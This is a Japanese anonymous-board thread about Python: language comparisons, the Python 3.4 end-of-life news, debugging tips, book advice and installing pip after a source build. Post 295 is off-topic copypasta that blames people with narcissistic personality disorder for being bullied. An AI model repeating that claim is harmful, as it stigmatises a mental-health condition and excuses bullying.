他言語もそういう特有な記述ってあるんじゃないのか
他言語もそういう特有な記述ってあるんじゃないのか
190デフォルトの名無しさん
2019/05/11(土) 21:16:47.42ID:2v2BzL6t191デフォルトの名無しさん
2019/05/11(土) 21:27:15.51ID:Zt/4qaNA javascriptで機械学習って、個人的によくわからないんだけど
MVCのVに近い言語で、なぜMの領域の核になるようなコードを書くんだ
保守性が悪くなりそうというのが素人意見
MVCのVに近い言語で、なぜMの領域の核になるようなコードを書くんだ
保守性が悪くなりそうというのが素人意見
192デフォルトの名無しさん
2019/05/11(土) 21:32:54.30ID:yYE7toYS 言語を一つしか覚えられないからだよ
で、javascriptは知ってるから
で、javascriptは知ってるから
193デフォルトの名無しさん
2019/05/11(土) 22:37:37.36ID:Js5+404h >>181
自己解決しました。
自己解決しました。
194デフォルトの名無しさん
2019/05/11(土) 22:57:02.86ID:dGbzRH/z javascriptはバグが潜みやすい
195デフォルトの名無しさん
2019/05/11(土) 23:00:45.17ID:2v2BzL6t >>192
pythonしか学ぶ気が無くて、RubyとJavascriptを馬鹿にするのがこのスレの特徴ww
pythonしか学ぶ気が無くて、RubyとJavascriptを馬鹿にするのがこのスレの特徴ww
196デフォルトの名無しさん
2019/05/12(日) 00:50:06.89ID:pPYx5wry >>195 その事をデファクトスタンダードと言う。
197デフォルトの名無しさん
2019/05/12(日) 08:13:03.58ID:LAPNzPPA cとjavaとpythonで機械学習のコードを書くけど
他の言語で書くならC#ぐらいかなあ
javascriptやphpで書けと言われたら、その会社の将来性を疑う
javascriptは関数型言語だから相性はそこそこ良いのかもしれないけど
他の言語で書くならC#ぐらいかなあ
javascriptやphpで書けと言われたら、その会社の将来性を疑う
javascriptは関数型言語だから相性はそこそこ良いのかもしれないけど
198デフォルトの名無しさん
2019/05/12(日) 09:27:41.58ID:5ujgHqyg PyCall使ってRubyで書けよそれでも日本人か?
199デフォルトの名無しさん
2019/05/12(日) 15:12:56.43ID:R31sKZyy >>179
おじいちゃん…
おじいちゃん…
200デフォルトの名無しさん
2019/05/12(日) 15:23:46.37ID:Ym/Qgpix >>179
ブラウザでJavaScript 無効にしてそう
ブラウザでJavaScript 無効にしてそう
201デフォルトの名無しさん
2019/05/12(日) 16:59:54.48ID:r2BQYeZN >>179
C言語原理主義者になれなかったおじいちゃん
C言語原理主義者になれなかったおじいちゃん
202デフォルトの名無しさん
2019/05/12(日) 20:59:01.99ID:8D9kcMjk asyncioってよく分かんない
Promise一つだけのJSと比べてなんか色々ある
coroutine
task
future
loop
何でこんな色々あるの?
Promise一つだけのJSと比べてなんか色々ある
coroutine
task
future
loop
何でこんな色々あるの?
203デフォルトの名無しさん
2019/05/12(日) 21:10:39.85ID:PI+Y6S0H204デフォルトの名無しさん
2019/05/13(月) 08:29:02.71ID:D756DvGX >>203 リンクを間違えてるのか? 全く話題が違うだろ。
205デフォルトの名無しさん
2019/05/13(月) 18:04:14.71ID:gFFPQVVF さようなら、Python 3.4 2019/05/13 09:45 後藤大地
https://news.mynavi.jp/article/20190513-821165/
Python 3.4系のリリースマネージャを務めているLarry Hastings氏は2019年5月8日(米国
時間)、「Python Insider: Farewell, Python 3.4」において、Python 3.4をクローズした
ことを伝えた。Python 3.4系最後のリリースは2019年3月に実施されているが、この日まで
クローズ処理は行われてこなかった。(中略)
現在、それぞれのブランチで次のバージョンが最新版として公開されている。
・Python 3.7.3
・Python 3.6.8
・Python 3.5.7
・Python 3.4.10
・Python 2.7.16
Python 3.6系は2018年12月に公開されたPython 3.6.8がバグ修正モード最後のリリースと
されており、以降は必要に応じてセキュリティフィックスバージョンのみが公開される
予定になっている。Python 3.5系は明確なリリースプランはないものの、2019年9月前後で
Python 3.5.8のリリースが予定されている。Python 3.4系は2019年3月に公開されたPython
3.4.10が最終バージョンとされており、今後新しいバージョンがリリースされることはない
とされている。Python 3.4系を使用している場合、より新しいサポートの提供されている
バージョンへ移行することが望まれる。
Python 2.7系は現在、拡張メンテナンス期間に入っており、2020年1月1日まではバグ修正を
目的としたリリースが実施されることになっている。2019年の中期にPython 2.1.17が、
2020年1月には最後になると考えられるPython 2.7.18の公開が予定されている。それ以降は
サポートが終了される見通し。
https://news.mynavi.jp/article/20190513-821165/
Python 3.4系のリリースマネージャを務めているLarry Hastings氏は2019年5月8日(米国
時間)、「Python Insider: Farewell, Python 3.4」において、Python 3.4をクローズした
ことを伝えた。Python 3.4系最後のリリースは2019年3月に実施されているが、この日まで
クローズ処理は行われてこなかった。(中略)
現在、それぞれのブランチで次のバージョンが最新版として公開されている。
・Python 3.7.3
・Python 3.6.8
・Python 3.5.7
・Python 3.4.10
・Python 2.7.16
Python 3.6系は2018年12月に公開されたPython 3.6.8がバグ修正モード最後のリリースと
されており、以降は必要に応じてセキュリティフィックスバージョンのみが公開される
予定になっている。Python 3.5系は明確なリリースプランはないものの、2019年9月前後で
Python 3.5.8のリリースが予定されている。Python 3.4系は2019年3月に公開されたPython
3.4.10が最終バージョンとされており、今後新しいバージョンがリリースされることはない
とされている。Python 3.4系を使用している場合、より新しいサポートの提供されている
バージョンへ移行することが望まれる。
Python 2.7系は現在、拡張メンテナンス期間に入っており、2020年1月1日まではバグ修正を
目的としたリリースが実施されることになっている。2019年の中期にPython 2.1.17が、
2020年1月には最後になると考えられるPython 2.7.18の公開が予定されている。それ以降は
サポートが終了される見通し。
206デフォルトの名無しさん
2019/05/13(月) 19:37:46.10ID:/YS/zF8A 3.4.10のwindowsバイナリをリリースしてくれればいいのに
207デフォルトの名無しさん
2019/05/13(月) 22:12:31.72ID:XgdYNs3B blender の python って 3.5 ?
3.6 以上にならない?
3.6 以上にならない?
208デフォルトの名無しさん
2019/05/14(火) 01:24:39.22ID:srCNrWHR ブロックチェーンゲームの開発に興味あるからPythonで出来ないかと色々調べたらプラットフォームはETHの一人勝ちで言語はSolidityらしい
Solidityはjsによく似てるらしくDAppsの中ではETHのスマートコントラクトとのやりとりの橋渡しをしてるから、ブロックチェーンゲームを作りたいならjsを先ず勉強してSolidityに進むのが良さげっぽい
ただ先にPythonから手を付けてるからPythonが終わり次第、jsにも取り掛かろうと思う
あとまだ始まったばかりみたいだけどセキュリティを強化したVyperなる言語もあるみたいでこちらはPythonに似てるとのことだから、どっちにしろPythonの勉強は無駄にはならなそうだ
UnityでもブロックチェーンゲームのSDKあるみたいだし、今後はPython→Unity(C#)→jsって感じかな
Solidityはjsによく似てるらしくDAppsの中ではETHのスマートコントラクトとのやりとりの橋渡しをしてるから、ブロックチェーンゲームを作りたいならjsを先ず勉強してSolidityに進むのが良さげっぽい
ただ先にPythonから手を付けてるからPythonが終わり次第、jsにも取り掛かろうと思う
あとまだ始まったばかりみたいだけどセキュリティを強化したVyperなる言語もあるみたいでこちらはPythonに似てるとのことだから、どっちにしろPythonの勉強は無駄にはならなそうだ
UnityでもブロックチェーンゲームのSDKあるみたいだし、今後はPython→Unity(C#)→jsって感じかな
209デフォルトの名無しさん
2019/05/14(火) 01:31:52.61ID:zeev4Evh YouTube にある、KENTA の最新動画に、
仮想通貨アプリのエンジニアが出てる
仮想通貨アプリのエンジニアが出てる
210デフォルトの名無しさん
2019/05/14(火) 10:37:08.27ID:hVHCgA81 KENTAって何?
211デフォルトの名無しさん
2019/05/14(火) 11:38:51.56ID:HHew+yI/ NGに入れて良いわ
212デフォルトの名無しさん
2019/05/15(水) 14:27:35.52ID:ezhKAAwy 代入式のpep読んでpython3.8ビルドしてみたけどこれあかんやろ…
束縛と値返しが同時に出来るとcみたいな黒魔術が出来てしまう
俺の愛するPythonの哲学に反する
4に受け継ぐのは断固反対
束縛と値返しが同時に出来るとcみたいな黒魔術が出来てしまう
俺の愛するPythonの哲学に反する
4に受け継ぐのは断固反対
213デフォルトの名無しさん
2019/05/15(水) 14:30:06.42ID:ezhKAAwy >>207
Blenderをモジュールとしてビルドするオプションがあるから調べてみ、システムの生Python3.7と3.8で動いてるよ
起動せずにカメラを1度刻みに回した画像を何百枚ドバっと出して良い絵を選ぶの最高
Blenderをモジュールとしてビルドするオプションがあるから調べてみ、システムの生Python3.7と3.8で動いてるよ
起動せずにカメラを1度刻みに回した画像を何百枚ドバっと出して良い絵を選ぶの最高
214デフォルトの名無しさん
2019/05/15(水) 16:05:33.84ID:3wz6ClAL python2のdict型でvalでソートして特定位置のkeyを出すのにちょっと手こずった
215デフォルトの名無しさん
2019/05/15(水) 16:11:02.45ID:9iv/I2qD >>214 ここにそれをアップしてみて。 意外とお題になるかも。
216デフォルトの名無しさん
2019/05/15(水) 16:32:15.86ID:ezhKAAwy 値は被りがあり得るから、安定ソートを望むと仮定する
タプルに直してlambda kv: kv[1] をキーにソート(3.7以降なら、またdictコンストラクタに渡してよい)するのだろうか
うーん効率悪そう
タプルに直してlambda kv: kv[1] をキーにソート(3.7以降なら、またdictコンストラクタに渡してよい)するのだろうか
うーん効率悪そう
217デフォルトの名無しさん
2019/05/15(水) 16:34:19.33ID:ezhKAAwy いや2.7のdictは順序無いから安定もクソもないか
218デフォルトの名無しさん
2019/05/15(水) 18:22:13.30ID:dq2v0yjU す、少しだけだ!被ってるのは…
219デフォルトの名無しさん
2019/05/16(木) 11:05:00.60ID:3jP28vfr220デフォルトの名無しさん
2019/05/16(木) 14:19:15.18ID:ehYc/git221デフォルトの名無しさん
2019/05/16(木) 23:34:18.79ID:viHHVx8c プログラミングやったことない
超絶素人がPythonって何で勉強したらいいの
超絶素人がPythonって何で勉強したらいいの
222デフォルトの名無しさん
2019/05/17(金) 00:45:43.47ID:mNszq8I6 作りながら覚える系の本を読め
ただしPython2系の本はだめ
Anaconda使ってるのもだめ
ただしPython2系の本はだめ
Anaconda使ってるのもだめ
223デフォルトの名無しさん
2019/05/17(金) 07:25:14.39ID:IVEpxycy >>221
なんのためにやりたいんだよ?
なんのためにやりたいんだよ?
224デフォルトの名無しさん
2019/05/17(金) 07:27:39.00ID:Ll3WKBTJ >>223
自作OS
自作OS
225デフォルトの名無しさん
2019/05/17(金) 07:56:33.05ID:8HyV0an2 >>224
そう言うのはCとアセンブリ言語で書くんじゃ無いのか
そう言うのはCとアセンブリ言語で書くんじゃ無いのか
226デフォルトの名無しさん
2019/05/17(金) 08:02:40.87ID:IVEpxycy そもそも超絶素人が自作OSとか、ネタでしかないわなw
227デフォルトの名無しさん
2019/05/17(金) 08:47:04.18ID:L8EHraRu 素人が自作OS作りたいって言うときは
目に見えてる上っ面の最表層のカッコイイところだけを作りたい、っていう話がほとんどだ
どう動いてるかの中身なんてどーーーでもいい
人間が見て触っている本当の上っ面だけを自分の好き勝手にいじくりまわしたい、ってのがやりたいことだ
だろ?
目に見えてる上っ面の最表層のカッコイイところだけを作りたい、っていう話がほとんどだ
どう動いてるかの中身なんてどーーーでもいい
人間が見て触っている本当の上っ面だけを自分の好き勝手にいじくりまわしたい、ってのがやりたいことだ
だろ?
228デフォルトの名無しさん
2019/05/17(金) 09:08:05.80ID:m4RzZjk6 Onaine System?
229デフォルトの名無しさん
2019/05/17(金) 09:33:00.84ID:uSAn0gIg uwscから乗り換えてpython+kivyはじめたけとほとんどwin32*、ctypesで書いてるな
python自体は簡単な方みたいだし普通に時計とか電卓とか基本的なの作って勉強したら
python自体は簡単な方みたいだし普通に時計とか電卓とか基本的なの作って勉強したら
230デフォルトの名無しさん
2019/05/17(金) 10:29:48.23ID:uc49J/1X 超絶素人のわいの偽物に踊らされないで
わいはAIについて学びたいんや
何で勉強したらいいの
わいはAIについて学びたいんや
何で勉強したらいいの
231デフォルトの名無しさん
2019/05/17(金) 13:58:36.37ID:0aDslv7a232デフォルトの名無しさん
2019/05/17(金) 15:55:41.19ID:XuvTnoBP >>227
Pythonだって他人が実装した言語を、他人が実装した低レイヤーで動かしてるだけやん
Pythonだって他人が実装した言語を、他人が実装した低レイヤーで動かしてるだけやん
233デフォルトの名無しさん
2019/05/17(金) 21:56:04.25ID:PHZQAEg/ 誰や!プログラム言語自作したとか言うてるのはwww
234デフォルトの名無しさん
2019/05/18(土) 10:58:09.87ID:cPFyVnxJ 誰かオセロのAI作って対戦せんか?
235デフォルトの名無しさん
2019/05/18(土) 11:56:14.33ID:5J0Gqe9l まあメモリ管理やプロセス切り替えコード書きたいかって言われたら
多分誰もやりたがらんだろなw
難易度高い割にやっても性能でなくてやっぱ既存のもの使うわってなるし。。
それはそれで良い経験ではあるのだが。
多分誰もやりたがらんだろなw
難易度高い割にやっても性能でなくてやっぱ既存のもの使うわってなるし。。
それはそれで良い経験ではあるのだが。
236デフォルトの名無しさん
2019/05/18(土) 12:14:39.97ID:Ljc+Dkvf237デフォルトの名無しさん
2019/05/18(土) 22:06:39.28ID:3YERLbm0 大津の手法で2値化真っ二つ!
238デフォルトの名無しさん
2019/05/19(日) 01:22:36.41ID:n77BSRnh シーケンスを追うために、実行された行を実行された順に記録したいんだけど、pdbでステップ実行する以外にいい方法はないでしょうか
239デフォルトの名無しさん
2019/05/19(日) 07:16:00.02ID:kpt/RDg2 デバッグはpdbとbreakpoint()と@reprlib.recursive_reprでやってるな
ブレークポイントは3.7から組み込み関数(!)に昇格した事からも凄く便利
reprlibはデコるだけでオブジェクトの値の履歴が全て自動出力されるし、var, dirなどもある、ideの機能は変数ビュアなども含めて全てコード中で簡単に実現出来るようになってる
エディタのみでide相当の機能が全て実現できるのがPythonの魅力だと思ってるよ
ブレークポイントは3.7から組み込み関数(!)に昇格した事からも凄く便利
reprlibはデコるだけでオブジェクトの値の履歴が全て自動出力されるし、var, dirなどもある、ideの機能は変数ビュアなども含めて全てコード中で簡単に実現出来るようになってる
エディタのみでide相当の機能が全て実現できるのがPythonの魅力だと思ってるよ
240デフォルトの名無しさん
2019/05/19(日) 07:18:48.27ID:kpt/RDg2 なんか話逸れた
行ならbreakpoint関数を仕込む、実行履歴を取りたいならreprlibでデコる、で良いんじゃないの
行ならbreakpoint関数を仕込む、実行履歴を取りたいならreprlibでデコる、で良いんじゃないの
241デフォルトの名無しさん
2019/05/19(日) 13:07:31.94ID:uKdbRGjt FXの自動取引したいんだけど
数字で判断するんじゃなくて(例えばRSIが20以下になったら買うとか、レートが110.10になったら売るとかではなくて)
チャートのローソク足の形をAIで判断させて取引させることは可能?
数字で判断するんじゃなくて(例えばRSIが20以下になったら買うとか、レートが110.10になったら売るとかではなくて)
チャートのローソク足の形をAIで判断させて取引させることは可能?
242デフォルトの名無しさん
2019/05/19(日) 13:09:31.45ID:NVj9TkQF 可能
243デフォルトの名無しさん
2019/05/19(日) 13:10:23.21ID:uKdbRGjt ありがとう、勉強します
244デフォルトの名無しさん
2019/05/19(日) 13:10:43.28ID:TOq1cI5E >>241
可能だが数字で判断するよりもいい結果になるかは分からん
可能だが数字で判断するよりもいい結果になるかは分からん
245デフォルトの名無しさん
2019/05/19(日) 13:11:59.87ID:3AX6EsSb というか現実にはランダム取引にすらまず勝てないよ
246デフォルトの名無しさん
2019/05/19(日) 13:12:20.40ID:uKdbRGjt247デフォルトの名無しさん
2019/05/19(日) 13:13:34.19ID:NVj9TkQF ランダムに対して勝てないと判ってるなら逆張りすれば宜しい
手数料とかは無い前提ならそれで勝てる
手数料とかは無い前提ならそれで勝てる
248デフォルトの名無しさん
2019/05/19(日) 13:43:50.28ID:+pmIbC9j FXの自動売買ならMT4/5があるだろ
249デフォルトの名無しさん
2019/05/19(日) 16:43:31.04ID:TFSmzTXW その上を行けると思ってるんだろ
250デフォルトの名無しさん
2019/05/19(日) 16:46:55.44ID:ez3q64GI プログラミングやるにしてもノートPCしか無いから21-24インチくらいのモニタ欲しいけど、このサイズだとフリッカーフリー機能付いてるやつないんだな
なんで?
なんで?
251デフォルトの名無しさん
2019/05/19(日) 17:03:43.52ID:J+G2nvCL ローソク足って始値、終値、高値、安値を示してるだけだろ
容易に数値情報が取得できるこれらの情報をそのまま使わずわざわざローソク足の形を画像認識させることに何の意味があるのか
無駄に画像認識処理を挟むことで情報の精度を悪化させているだけにしか思えない
容易に数値情報が取得できるこれらの情報をそのまま使わずわざわざローソク足の形を画像認識させることに何の意味があるのか
無駄に画像認識処理を挟むことで情報の精度を悪化させているだけにしか思えない
252デフォルトの名無しさん
2019/05/19(日) 17:20:07.98ID:rIeXrTmo >>250
どんな検索してるんだよ…
フリッカーフリー 24インチ
とかでググれば出てくるだろ
例えば
https://www.mouse-jp.co.jp/iiyama/products/lcd/24/E2483HS-3/
とか
どんな検索してるんだよ…
フリッカーフリー 24インチ
とかでググれば出てくるだろ
例えば
https://www.mouse-jp.co.jp/iiyama/products/lcd/24/E2483HS-3/
とか
253デフォルトの名無しさん
2019/05/19(日) 17:51:31.06ID:ez3q64GI254デフォルトの名無しさん
2019/05/19(日) 18:14:34.12ID:RZe6x1yg http://pyfound.blogspot.com/2019/05/amber-brown-batteries-included-but.html
まあ一理あるけど、asyncioパッケージのせいでTwistedの有用性を何度も説明しなければならなくなったの下りは
完全にこいつの頭がおかしいだろ
まあ一理あるけど、asyncioパッケージのせいでTwistedの有用性を何度も説明しなければならなくなったの下りは
完全にこいつの頭がおかしいだろ
255デフォルトの名無しさん
2019/05/19(日) 18:31:52.11ID:S2hJsM5c なにか辞書的に使えるpythonの参考書ないかな
『パーフェクトjava』はよかったけど『パーフェクトpython』は糞だった
『パーフェクトjava』はよかったけど『パーフェクトpython』は糞だった
256デフォルトの名無しさん
2019/05/19(日) 18:36:25.26ID:WCDMLT91 オライリーのヤツ
257デフォルトの名無しさん
2019/05/19(日) 18:39:31.37ID:S2hJsM5c 『入門 Python3』は最初に使った参考書
もうひとつ詳しいやつがほしい
もうひとつ詳しいやつがほしい
258デフォルトの名無しさん
2019/05/19(日) 20:07:00.39ID:5UHf61tO259デフォルトの名無しさん
2019/05/19(日) 20:20:18.79ID:DUjmSzRL >>251
うむ、グラフって数値を見やすくしたものなのにねw
うむ、グラフって数値を見やすくしたものなのにねw
260デフォルトの名無しさん
2019/05/19(日) 20:39:08.56ID:43o0ejXL ボクシングの試合を学習させて試合予想したい。
誰か作って。
誰か作って。
261デフォルトの名無しさん
2019/05/19(日) 22:54:16.48ID:DUjmSzRL import random
#試合結果を読み込む
with open('result.csv') as f:
res = f.read()
if random.random() > 0.5:
print("Win!")
else:
print("Lose...")
こんな感じか
細かいところは自分で拡張してくれ
#試合結果を読み込む
with open('result.csv') as f:
res = f.read()
if random.random() > 0.5:
print("Win!")
else:
print("Lose...")
こんな感じか
細かいところは自分で拡張してくれ
262デフォルトの名無しさん
2019/05/19(日) 23:00:04.36ID:ilqWVGpL 僕の肛門も拡張されそうです!
263デフォルトの名無しさん
2019/05/19(日) 23:07:50.96ID:/7HU5S0r サザエさんのじゃんけんを予想するのも作れるかな
264デフォルトの名無しさん
2019/05/19(日) 23:08:01.60ID:43o0ejXL >>261
ありがとう!
ありがとう!
265デフォルトの名無しさん
2019/05/20(月) 05:15:56.15ID:tXpC7nmJ サザエさんじゃんけんはガチ勢のスレに行ってくれ
266デフォルトの名無しさん
2019/05/20(月) 06:15:28.61ID:poyp5Kqc パーフェクトPython、Pythonサポーターズ、2013
この本は、良いよ。
ただし、5年経ってるけど、新しい版が出ない
すべての言語で、この順番で読む。
1. 入門書
2. Effective 何々
3. 逆引き・レシピ本・コーディング規則
(4. メタプログラミング)
5. フレームワーク
例えば、Ruby なら、この順番。
たのしいRuby 第6版
Effective Ruby、2015
改訂2版 Ruby逆引きハンドブック
Effective・逆引きなんて、どの言語にもある
この本は、良いよ。
ただし、5年経ってるけど、新しい版が出ない
すべての言語で、この順番で読む。
1. 入門書
2. Effective 何々
3. 逆引き・レシピ本・コーディング規則
(4. メタプログラミング)
5. フレームワーク
例えば、Ruby なら、この順番。
たのしいRuby 第6版
Effective Ruby、2015
改訂2版 Ruby逆引きハンドブック
Effective・逆引きなんて、どの言語にもある
267デフォルトの名無しさん
2019/05/20(月) 11:32:17.46ID:g1Dx2x5o268デフォルトの名無しさん
2019/05/20(月) 13:18:41.71ID:Laivvg48 リストのコピーで、思い切りハマってしまった
そういうものだとわかるまで小一時間頭抱えてしまったわ
そういうものだとわかるまで小一時間頭抱えてしまったわ
269デフォルトの名無しさん
2019/05/20(月) 14:03:20.61ID:wijT7VzX リストは参照渡しのポインタが入ってるだけ
ここらへんのメモリの理屈を理解してないと新しい言語を学ぶたびに
文法を一から丸暗記しなくちゃいけなくなる
ここらへんのメモリの理屈を理解してないと新しい言語を学ぶたびに
文法を一から丸暗記しなくちゃいけなくなる
270デフォルトの名無しさん
2019/05/20(月) 14:04:56.90ID:wijT7VzX 参照渡しのポインタだと、ポインタのポインタみたいな意味になっちゃうな 駄目だこれテヘ
271デフォルトの名無しさん
2019/05/20(月) 14:56:10.55ID:VITeHWYT 参照”渡し”は関数呼び出しの時のための用語。
参照と言え。
参照と言え。
272デフォルトの名無しさん
2019/05/20(月) 18:45:40.88ID:ayybSfZI 参照魚って英語でサラマンダーかよ見た目に似合わずかっけー
273デフォルトの名無しさん
2019/05/20(月) 22:00:57.86ID:flsOqa0I >>267
あれはちょっと可哀想であった。
あれはちょっと可哀想であった。
274デフォルトの名無しさん
2019/05/20(月) 23:14:19.69ID:Nm/yOzhN プロレスの勝敗予想は難しいかな
275デフォルトの名無しさん
2019/05/21(火) 08:58:58.23ID:x2picWbv >>274
たぶん超簡単
たぶん超簡単
276デフォルトの名無しさん
2019/05/21(火) 10:11:30.12ID:LqYGUgUH ソーシャルハックライブラリか必要だな
277デフォルトの名無しさん
2019/05/23(木) 11:47:15.87ID:eybwZjzY sympy を初めて触り始めたけど計算系は何でもある感じだな。 plot系まで入ってる。
plot系以外は全てpythonで書かれているそうだからどこででも動くのもよい。
plot系以外は全てpythonで書かれているそうだからどこででも動くのもよい。
278デフォルトの名無しさん
2019/05/23(木) 13:31:25.02ID:eybwZjzY >>277 plot系も裏で Matplotlib を使ってるだけみたいだから、sympyを使うならSymmpyだけで座標系を統一したほうがよさそうだな。
279デフォルトの名無しさん
2019/05/23(木) 14:24:17.99ID:eybwZjzY でもSympyの公式ドキュメントだけじゃよくわからんな。 関数表示の例はあるが、Polygon表示の例などが不足してる。
変換が多少面倒だがMatplotlib を使う方が良いのかな、smpyのPolygonを直接plotすることはできないみたいだし。
変換が多少面倒だがMatplotlib を使う方が良いのかな、smpyのPolygonを直接plotすることはできないみたいだし。
280デフォルトの名無しさん
2019/05/23(木) 23:49:30.39ID:CgHHC4v9 VPSで1分ごとにWebAPIからデータ取得する
スクリプトを書きたいんだがどの言語が良いのかな?
24時間365日稼働を想定してるんだが可能かね?
それと24時間稼働のプログラムを作るコツとかあれば教えてもらいたい
スクリプトを書きたいんだがどの言語が良いのかな?
24時間365日稼働を想定してるんだが可能かね?
それと24時間稼働のプログラムを作るコツとかあれば教えてもらいたい
281デフォルトの名無しさん
2019/05/23(木) 23:54:09.87ID:RUqDu/+p 見覚えのある質問だ
282デフォルトの名無しさん
2019/05/23(木) 23:57:01.11ID:ikq4ad5/ AWS Lambda使え
サーバー要らないし定期実行もマウスでポチるだけ
サーバー要らないし定期実行もマウスでポチるだけ
283デフォルトの名無しさん
2019/05/23(木) 23:57:15.77ID:CgHHC4v9 この質問はしたことなんだが(´・ω・`)
アフィサイトでも作ろうかと思ってね
アフィサイトでも作ろうかと思ってね
284デフォルトの名無しさん
2019/05/24(金) 08:26:10.06ID:t5zaSNIU やっぱしたことなのか。許せないな
285デフォルトの名無しさん
2019/05/24(金) 14:38:12.82ID:MR3FxfYE Sympyなどの科学技術計算ってものすごく内容があるし、例題や説明が少ないから理解するのに時間がかかる。
数学の素養がある人は言葉を聞いただけである程度内容が解るんだろうけど。
今必要と思われるキーワードから芋づる式で必要そうな機能を調べてるけど効率が悪い。
ある程度使いこなせればそういう分野ではかなりの即戦力になりそうなのは解るが。
数学の素養がある人は言葉を聞いただけである程度内容が解るんだろうけど。
今必要と思われるキーワードから芋づる式で必要そうな機能を調べてるけど効率が悪い。
ある程度使いこなせればそういう分野ではかなりの即戦力になりそうなのは解るが。
286デフォルトの名無しさん
2019/05/24(金) 15:47:12.38ID:pviCkI3c python勉強し始めたばかりの初心者です。
Xubuntu 18.04 LTSにて
$ wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz
$ tar xf Python-3.7.3.tgz #xf=extract file(ファイルを展開する)
$ cd Python-3.7.3
$ ./configure --prefix=/opt/python3.7.3 #pythonのインストール先を変更
$ make
$ sudo make install
pythonインストールしたところ、pipがインストールされませんでした。
元々python2.7がデフォルトで入っており、ネットにある方法でpipをインストールしても2.7用のpipがインストールされてしまいます。
どうすれば3.7.3用のpipをインストールできるのでしょうか?
Xubuntu 18.04 LTSにて
$ wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz
$ tar xf Python-3.7.3.tgz #xf=extract file(ファイルを展開する)
$ cd Python-3.7.3
$ ./configure --prefix=/opt/python3.7.3 #pythonのインストール先を変更
$ make
$ sudo make install
pythonインストールしたところ、pipがインストールされませんでした。
元々python2.7がデフォルトで入っており、ネットにある方法でpipをインストールしても2.7用のpipがインストールされてしまいます。
どうすれば3.7.3用のpipをインストールできるのでしょうか?
287デフォルトの名無しさん
2019/05/24(金) 16:02:07.57ID:HIWJnKgL pip自体のアップデート
$ pip install -U pip
$ pip install -U pip
288デフォルトの名無しさん
2019/05/24(金) 16:07:33.46ID:/7dQNzPT getpipだったかpipgetだったかでググれ
289デフォルトの名無しさん
2019/05/24(金) 16:15:11.96ID:4wOOjLCG linuxで新規にインストールしたpythonのアンインストールの仕方がわからない件
違うpythonが消えた
ついでにそれに依存してたソフトも消えた
違うpythonが消えた
ついでにそれに依存してたソフトも消えた
290デフォルトの名無しさん
2019/05/24(金) 16:18:09.22ID:4wOOjLCG ソースコードからのビルドはなぜか失敗する事が多い
jdownloaderもopt以下に指定してインストールしたらurlを追加できないという不具合が発生した
でも同じ手法でインストールしたvivaldiは動いてるんだよなあ
jdownloaderもopt以下に指定してインストールしたらurlを追加できないという不具合が発生した
でも同じ手法でインストールしたvivaldiは動いてるんだよなあ
291デフォルトの名無しさん
2019/05/24(金) 16:19:10.41ID:/7dQNzPT optやろ
マルチあかんで
マルチあかんで
292デフォルトの名無しさん
2019/05/24(金) 16:20:10.61ID:4wOOjLCG 環境はubuntu最新版っす
293デフォルトの名無しさん
2019/05/24(金) 16:32:14.25ID:DhLf06aG294デフォルトの名無しさん
2019/05/24(金) 16:33:10.38ID:bwbeI+nq ubuntuで元から入ってるpythonは消しちゃダメ
295デフォルトの名無しさん
2019/05/24(金) 16:49:21.95ID:xD3Ct4tw >>1
自己愛性人格障害が何故いじめられるのか5つの理由を挙げてみましょう。
@自己評価が高すぎて自慢や虚言が多い
周りの印象を悪くする最初の原因。
ただでさえ自分語りが長いのに、話の端々に何の脈絡もなく自慢話を挟んできたりする。
酷い場合は有り得ない嘘をついて周りを驚かせる。
「警察のトップと知り合いで〜」「皇室と血の繋がりがある」等など。
筆者の小学校時代には「パパは任天堂の社長」と触れ回ってる女子がいた。
ここまで来ると他の病気を疑うべきかもしれないが。
A常に他人を見下した態度をとる
自己愛は自分が一番特別で、かつ称賛されるべき人間と思い込んでいる。
自分より偉い人間には媚びへつらい、それ以外に対しては常に上から目線。
B思いやりがなく、感謝の気持ちを表現できない
周りに何かしてもらって当然という意識があるので、親切にされても素直に「ありがとう」ということはできない。
こういうことが重なるとどんなに良い人でもその人に対する評価が下がっていく。
C悪いことは全て他人のせい。客観性がない
上記のような態度を取り続ければ周りから「嫌な人間だ」という評価をされても文句は言えない。
腹が立って本人にそのことを指摘するようなことがあれば「これはいじめだ」「理解しない社会が悪い」と言い始める。
普通の人間ならば自己を振り返って反省したり、謝ったりするものだが、自己愛は自分に非がないのが前提なのでそこまで思考が回らない。
D本人に全くその自覚がないので、自分は一方的な被害者だと訴える
悪質なのは本人には自覚がなく、悪気すらないので、行動に問題があったことを気付かせるのが困難だということ。
それどころか「自分はいじめの被害者で何もやってないのに危害を加えられた」と権力の後ろに隠れる。
自己愛性人格障害が何故いじめられるのか5つの理由を挙げてみましょう。
@自己評価が高すぎて自慢や虚言が多い
周りの印象を悪くする最初の原因。
ただでさえ自分語りが長いのに、話の端々に何の脈絡もなく自慢話を挟んできたりする。
酷い場合は有り得ない嘘をついて周りを驚かせる。
「警察のトップと知り合いで〜」「皇室と血の繋がりがある」等など。
筆者の小学校時代には「パパは任天堂の社長」と触れ回ってる女子がいた。
ここまで来ると他の病気を疑うべきかもしれないが。
A常に他人を見下した態度をとる
自己愛は自分が一番特別で、かつ称賛されるべき人間と思い込んでいる。
自分より偉い人間には媚びへつらい、それ以外に対しては常に上から目線。
B思いやりがなく、感謝の気持ちを表現できない
周りに何かしてもらって当然という意識があるので、親切にされても素直に「ありがとう」ということはできない。
こういうことが重なるとどんなに良い人でもその人に対する評価が下がっていく。
C悪いことは全て他人のせい。客観性がない
上記のような態度を取り続ければ周りから「嫌な人間だ」という評価をされても文句は言えない。
腹が立って本人にそのことを指摘するようなことがあれば「これはいじめだ」「理解しない社会が悪い」と言い始める。
普通の人間ならば自己を振り返って反省したり、謝ったりするものだが、自己愛は自分に非がないのが前提なのでそこまで思考が回らない。
D本人に全くその自覚がないので、自分は一方的な被害者だと訴える
悪質なのは本人には自覚がなく、悪気すらないので、行動に問題があったことを気付かせるのが困難だということ。
それどころか「自分はいじめの被害者で何もやってないのに危害を加えられた」と権力の後ろに隠れる。
296デフォルトの名無しさん
2019/05/24(金) 16:52:04.14ID:/7dQNzPT Mat2
297デフォルトの名無しさん
2019/05/24(金) 17:37:00.56ID:7B8LnFvY pip3
298デフォルトの名無しさん
2019/05/24(金) 20:05:53.05ID:fJTDC3WB Windowsだとpip3で入るな
299デフォルトの名無しさん
2019/05/24(金) 20:26:56.73ID:ukibXUgJ PythonならMac
むしろ最初からPython入ってるのがMac
